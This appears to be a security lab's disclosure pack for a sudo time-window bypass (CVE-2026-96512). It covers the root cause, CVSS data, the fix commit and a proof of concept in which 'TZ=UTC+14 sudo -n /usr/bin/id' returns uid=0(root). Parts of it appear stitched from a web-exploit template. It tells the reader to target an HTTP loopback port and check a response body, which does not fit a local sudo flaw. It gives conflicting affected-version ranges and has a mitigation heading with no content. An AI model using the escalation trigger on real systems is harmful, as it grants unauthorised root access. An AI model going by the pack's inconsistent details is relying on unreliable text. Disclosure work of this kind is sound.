
Disclosure pack and PoC for CVE-2026-96512, a sudo NOTBEFORE/NOTAFTER TZ time-window bypass enabling local privilege escalation, with lab reproduction and patch guidance.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-96512
sudo 1.9.13p3 (Debian bookworm) — Sudo Project
A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing Z timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user.
| CVE | CVE-2026-96512 · CVE.org |
| CWE | CWE-863 |
| CVSS | High: 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Product | sudo |
| Affected | all versions through 1.9.13p3 (Debian bookworm) (inclusive) |
| Patched | main commit 1820a34 (no upstream release yet) and later |
| Auth | authenticated (see source map) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 only · vendor/client disclosure pack, not a scanner |
plugins/sudoers parse_gentime / gram.y timespec. Fix sudo-project/sudo@1820a34 copies environ off envp and unsetenv TZ.
LOCALTZ=UTC+14 sudo -n /usr/bin/idsudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/idlabuser sudo -n /usr/bin/id -> denied (expired)TZ=UTC+14 sudo -n /usr/bin/idparse_gentime mktime honors POSIX TZ=UTC+14NOTAFTER epoch shifts +14h; command allowed as rootWithout TZ: sudo -n id denied. With TZ=UTC+14: uid=0(root).
Do this first: Update sudo to main commit 1820a34 (no upstream release yet) or newer.
Verify after upgrade
CVE-2026-96512-Abraxas-Labs.py against the patched build: the mapped witness must not appear.If you cannot update immediately
Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.
python3 CVE-2026-96512-Abraxas-Labs.py
Success is the witness above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.
cd lab
docker compose up --force-recreate
Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.
github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-96512
CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).
## Description
sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.
## Product
sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.
This disclosure pack is licensed under the GNU Affero General Public License v3.0. See LICENSE.
This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.